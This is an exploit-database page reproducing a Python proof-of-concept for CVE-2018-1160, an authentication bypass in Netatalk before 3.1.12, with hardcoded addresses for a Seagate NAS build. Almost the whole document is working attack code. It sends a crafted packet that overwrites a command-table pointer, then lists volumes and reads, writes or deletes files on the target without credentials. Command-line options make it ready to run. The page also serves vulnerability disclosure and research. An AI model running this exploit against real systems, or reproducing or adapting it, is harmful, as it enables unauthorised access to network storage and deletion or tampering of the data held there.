ExploitFixes
Netatalk < 3.1.12 - Authentication Bypass 2018-12-21 23:05:02

##
# Exploit Title: Netatalk Authentication Bypass
# Date: 12/20/2018
# Exploit Author: Jacob Baines
# Vendor Homepage: http://netatalk.sourceforge.net/
# Software Link: https://sourceforge.net/projects/netatalk/files/
# Version: Before 3.1.12
# Tested on: Seagate NAS OS (x86_64)
# CVE : CVE-2018-1160
# Advisory: https://www.tenable.com/security/research/tra-2018-48
##
import argparse
import socket
import struct
import sys

# Known addresses:
# This exploit was written against a Netatalk compiled for an
# x86_64 Seagate NAS. The addresses below will need to be changed
# for a different target.
preauth_switch_base = '\x60\xb6\x63\x00\x00\x00\x00\x00' # 0x63b6a0
afp_getsrvrparms = '\x60\xb6\x42\x00\x00\x00\x00\x00' # 0x42b660
afp_openvol = '\xb0\xb8\x42\x00\x00\x00\x00\x00' # 42b8b0
afp_enumerate_ext2 = '\x90\x97\x41\x00\x00\x00\x00\x00' # 419790
afp_openfork = '\xd0\x29\x42\x00\x00\x00\x00\x00' # 4229d0
afp_read_ext = '\x30\x3a\x42\x00\x00\x00\x00\x00' # 423a30
afp_createfile = '\x10\xcf\x41\x00\x00\x00\x00\x00' # 41cf10
afp_write_ext = '\xb0\x3f\x42\x00\x00\x00\x00\x00' # 423fb0
afp_delete = '\x20\x06\x42\x00\x00\x00\x00\x00' # 420620

##
# This is the actual exploit. Overwrites the commands pointer
# with the base of the preauth_switch
##
def do_exploit(sock):
print &quot;[+] Sending exploit to overwrite preauth_switch data.&quot;
data = '\x00\x04\x00\x01\x00\x00\x00\x00'
data += '\x00\x00\x00\x1a\x00\x00\x00\x00'
data += '\x01' # attnquant in open sess
data += '\x18' # attnquant size
data += '\xad\xaa\xaa\xba' # overwrites attn_quantum (on purpose)
data += '\xef\xbe\xad\xde' # overwrites datasize
data += '\xfe\xca\x1d\xc0' # overwrites server_quantum
data += '\xce\xfa\xed\xfe' # overwrites the server id and client id
data += preauth_switch_base # overwrite the commands ptr
sock.sendall(data)

# don't really care about the respone
resp = sock.recv(1024)
return


##
# Sends a request to the server.
#
# @param socket the socket we are writing on
# @param request_id two bytes. requests are tracked through the session
# @param address the address that we want to jump to
# @param param_string the params that the address will need
##
def send_request(socket, request_id, address, param_string):
data = '\x00' # flags
data += '\x02' # command
data += request_id
data += '\x00\x00\x00\x00' # data offset
data += '\x00\x00\x00\x90' # cmd length &lt;=== always the same
data += '\x00\x00\x00\x00' # reserved
# ==== below gets copied into dsi-&gt;cmd =====
data += '\x11' # use the 25th entry in the pre_auth table. We'll write the function to execute there
data += '\x00' # pad
if (param_string == False):
data += (&quot;\x00&quot; * 134)
else:
data += param_string
data += (&quot;\x00&quot; * (134 - len(param_string)))

data += address # we'll jump to this address

sock.sendall(data)
return

##
# Parses the DSI header. If we don't get the expected request id
# then we bail out.
##
def parse_dsi(payload, expected_req_id):
(flags, command, req_id, error_code, length, reserved) = struct.unpack_from('&gt;BBHIII', payload)
if command != 8:
if flags != 1 or command != 2 or req_id != expected_req_id:
print '[-] Bad DSI Header: %u %u %u' % (flags, command, req_id)
sys.exit(0)

if error_code != 0 and error_code != 4294962287:
print '[-] The server responded to with an error code: ' + str(error_code)
sys.exit(0)

afp_data = payload[16:]
if len(afp_data) != length:
if command != 8:
print '[-] Invalid length in DSI header: ' + str(length) + ' vs. ' + str(len(payload))
sys.exit(0)
else:
afp_data = afp_data[length:]
afp_data = parse_dsi(afp_data, expected_req_id)

return afp_data

##
# List all the volumes on the remote server
##
def list_volumes(sock):
print &quot;[+] Listing volumes&quot;
send_request(sock, &quot;\x00\x01&quot;, afp_getsrvrparms, &quot;&quot;)
resp = sock.recv(1024)

afp_data = parse_dsi(resp, 1)
(server_time, volumes) = struct.unpack_from('&gt;IB', afp_data)
print &quot;[+] &quot; + str(volumes) + &quot; volumes are available:&quot;

afp_data = afp_data[5:]
for i in range(volumes):
string_length = struct.unpack_from('&gt;h', afp_data)
name = afp_data[2 : 2 + string_length[0]]
print &quot;\t-&gt; &quot; + name
afp_data = afp_data[2 + string_length[0]:]

return

##
# Open a volume on the remote server
##
def open_volume(sock, request, params):
send_request(sock, request, afp_openvol, params)
resp = sock.recv(1024)

afp_data = parse_dsi(resp, 1)
(bitmap, vid) = struct.unpack_from('&gt;HH', afp_data)
return vid

##
# List the contents of a specific volume
##
def list_volume_content(sock, name):
print &quot;[+] Listing files in volume &quot; + name

# open the volume
length = struct.pack(&quot;b&quot;, len(name))
vid = open_volume(sock, &quot;\x00\x01&quot;, &quot;\x00\x20&quot; + length + name)
print &quot;[+] Volume ID is &quot; + str(vid)

# enumerate
packed_vid = struct.pack(&quot;&gt;h&quot;, vid)
send_request(sock, &quot;\x00\x02&quot;, afp_enumerate_ext2, packed_vid + &quot;\x00\x00\x00\x02\x01\x40\x01\x40\x07\xff\x00\x00\x00\x01\x7f\xff\xff\xff\x02\x00\x00\x00&quot;)
resp = sock.recv(1024)

afp_data = parse_dsi(resp, 2)
(f_bitmap, d_bitmap, req_count) = struct.unpack_from('&gt;HHH', afp_data)
afp_data = afp_data[6:]

print &quot;[+] Files (%u):&quot; % req_count
for i in range(req_count):
(length, is_dir, pad, something, file_id, name_length) = struct.unpack_from('&gt;HBBHIB', afp_data)
name = afp_data[11:11+name_length]
if is_dir:
print &quot;\t[%u] %s/&quot; % (file_id, name)
else:
print &quot;\t[%u] %s&quot; % (file_id, name)
afp_data = afp_data[length:]

##
# Read the contents of a specific file.
##
def cat_file(sock, vol_name, file_name):
print &quot;[+] Cat file %s in volume %s&quot; % (file_name, vol_name)

# open the volume
vol_length = struct.pack(&quot;b&quot;, len(vol_name))
vid = open_volume(sock, &quot;\x00\x01&quot;, &quot;\x00\x20&quot; + vol_length + vol_name)
print &quot;[+] Volume ID is &quot; + str(vid)

# open fork
packed_vid = struct.pack(&quot;&gt;h&quot;, vid)
file_length = struct.pack(&quot;b&quot;, len(file_name))
send_request(sock, &quot;\x00\x02&quot;, afp_openfork, packed_vid + &quot;\x00\x00\x00\x02\x00\x00\x00\x03\x02&quot; + file_length + file_name)
resp = sock.recv(1024)

afp_data = parse_dsi(resp, 2)
(f_bitmap, fork_id) = struct.unpack_from('&gt;HH', afp_data)
print &quot;[+] Fork ID: %s&quot; % (fork_id)

# read file
packed_fork = struct.pack(&quot;&gt;h&quot;, fork_id)
send_request(sock, &quot;\x00\x03&quot;, afp_read_ext, packed_fork + &quot;\x00\x00\x00\x00&quot; + &quot;\x00\x00\x00\x00&quot; + &quot;\x00\x00\x00\x00&quot; + &quot;\x00\x00\x03\x00&quot;)
resp = sock.recv(1024)

afp_data = parse_dsi(resp, 3)
print &quot;[+] File contents:&quot;
print afp_data

##
# Create a file on the remote volume
##
def write_file(sock, vol_name, file_name, data):
print &quot;[+] Writing to %s in volume %s&quot; % (file_name, vol_name)

# open the volume
vol_length = struct.pack(&quot;B&quot;, len(vol_name))
vid = open_volume(sock, &quot;\x00\x01&quot;, &quot;\x00\x20&quot; + vol_length + vol_name)
print &quot;[+] Volume ID is &quot; + str(vid)

# create the file
packed_vid = struct.pack(&quot;&gt;H&quot;, vid)
file_length = struct.pack(&quot;B&quot;, len(file_name))
send_request(sock, &quot;\x00\x02&quot;, afp_createfile, packed_vid + &quot;\x00\x00\x00\x02\x02&quot; + file_length + file_name);
resp = sock.recv(1024)
afp_data = parse_dsi(resp, 2)

if len(afp_data) != 0:
sock.recv(1024)

# open fork
packed_vid = struct.pack(&quot;&gt;H&quot;, vid)
file_length = struct.pack(&quot;B&quot;, len(file_name))
send_request(sock, &quot;\x00\x03&quot;, afp_openfork, packed_vid + &quot;\x00\x00\x00\x02\x00\x00\x00\x03\x02&quot; + file_length + file_name)
resp = sock.recv(1024)

afp_data = parse_dsi(resp, 3)
(f_bitmap, fork_id) = struct.unpack_from('&gt;HH', afp_data)
print &quot;[+] Fork ID: %s&quot; % (fork_id)

# write
packed_fork = struct.pack(&quot;&gt;H&quot;, fork_id)
data_length = struct.pack(&quot;&gt;Q&quot;, len(data))
send_request(sock, &quot;\x00\x04&quot;, afp_write_ext, packed_fork + &quot;\x00\x00\x00\x00&quot; + &quot;\x00\x00\x00\x00&quot; + data_length + data)
#resp = sock.recv(1024)

sock.send(data + (&quot;\x0a&quot;*(144 - len(data))))
resp = sock.recv(1024)
afp_data = parse_dsi(resp, 4)
print &quot;[+] Fin&quot;

##
# Delete a file on the remote volume
##
def delete_file(sock, vol_name, file_name):
print &quot;[+] Deleting %s from volume %s&quot; % (file_name, vol_name)

# open the volume
vol_length = struct.pack(&quot;B&quot;, len(vol_name))
vid = open_volume(sock, &quot;\x00\x01&quot;, &quot;\x00\x20&quot; + vol_length + vol_name)
print &quot;[+] Volume ID is &quot; + str(vid)

# delete the file
packed_vid = struct.pack(&quot;&gt;H&quot;, vid)
file_length = struct.pack(&quot;B&quot;, len(file_name))
send_request(sock, &quot;\x00\x02&quot;, afp_delete, packed_vid + &quot;\x00\x00\x00\x02\x02&quot; + file_length + file_name);
resp = sock.recv(1024)
afp_data = parse_dsi(resp, 2)

print &quot;[+] Fin&quot;

##
##
## Main
##
##

top_parser = argparse.ArgumentParser(description='I\'m a little pea. I love the sky and the trees.')
top_parser.add_argument('-i', '--ip', action=&quot;store&quot;, dest=&quot;ip&quot;, required=True, help=&quot;The IPv4 address to connect to&quot;)
top_parser.add_argument('-p', '--port', action=&quot;store&quot;, dest=&quot;port&quot;, type=int, help=&quot;The port to connect to&quot;, default=&quot;548&quot;)
top_parser.add_argument('-lv', '--list-volumes', action=&quot;store_true&quot;, dest=&quot;lv&quot;, help=&quot;List the volumes on the remote target.&quot;)
top_parser.add_argument('-lvc', '--list-volume-content', action=&quot;store_true&quot;, dest=&quot;lvc&quot;, help=&quot;List the content of a volume.&quot;)
top_parser.add_argument('-c', '--cat', action=&quot;store_true&quot;, dest=&quot;cat&quot;, help=&quot;Dump contents of a file.&quot;)
top_parser.add_argument('-w', '--write', action=&quot;store_true&quot;, dest=&quot;write&quot;, help=&quot;Write to a new file.&quot;)
top_parser.add_argument('-f', '--file', action=&quot;store&quot;, dest=&quot;file&quot;, help=&quot;The file to operate on&quot;)
top_parser.add_argument('-v', '--volume', action=&quot;store&quot;, dest=&quot;volume&quot;, help=&quot;The volume to operate on&quot;)
top_parser.add_argument('-d', '--data', action=&quot;store&quot;, dest=&quot;data&quot;, help=&quot;The data to write to the file&quot;)
top_parser.add_argument('-df', '--delete-file', action=&quot;store_true&quot;, dest=&quot;delete_file&quot;, help=&quot;Delete a file&quot;)
args = top_parser.parse_args()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print &quot;[+] Attempting connection to &quot; + args.ip + &quot;:&quot; + str(args.port)
sock.connect((args.ip, args.port))
print &quot;[+] Connected!&quot;

do_exploit(sock)
if args.lv:
list_volumes(sock)
elif args.lvc and args.volume != None:
list_volume_content(sock, args.volume)
elif args.cat and args.file != None and args.volume != None:
cat_file(sock, args.volume, args.file)
elif args.write and args.volume != None and args.file != None and args.data != None:
if len(args.data) &gt; 144:
print &quot;This implementation has a max file writing size of 144&quot;
sys.exit(0)
write_file(sock, args.volume, args.file, args.data)
elif args.delete_file and args.volume != None and args.file != None:
delete_file(sock, args.volume, args.file)
else:
print(&quot;Bad args&quot;)

sock.close()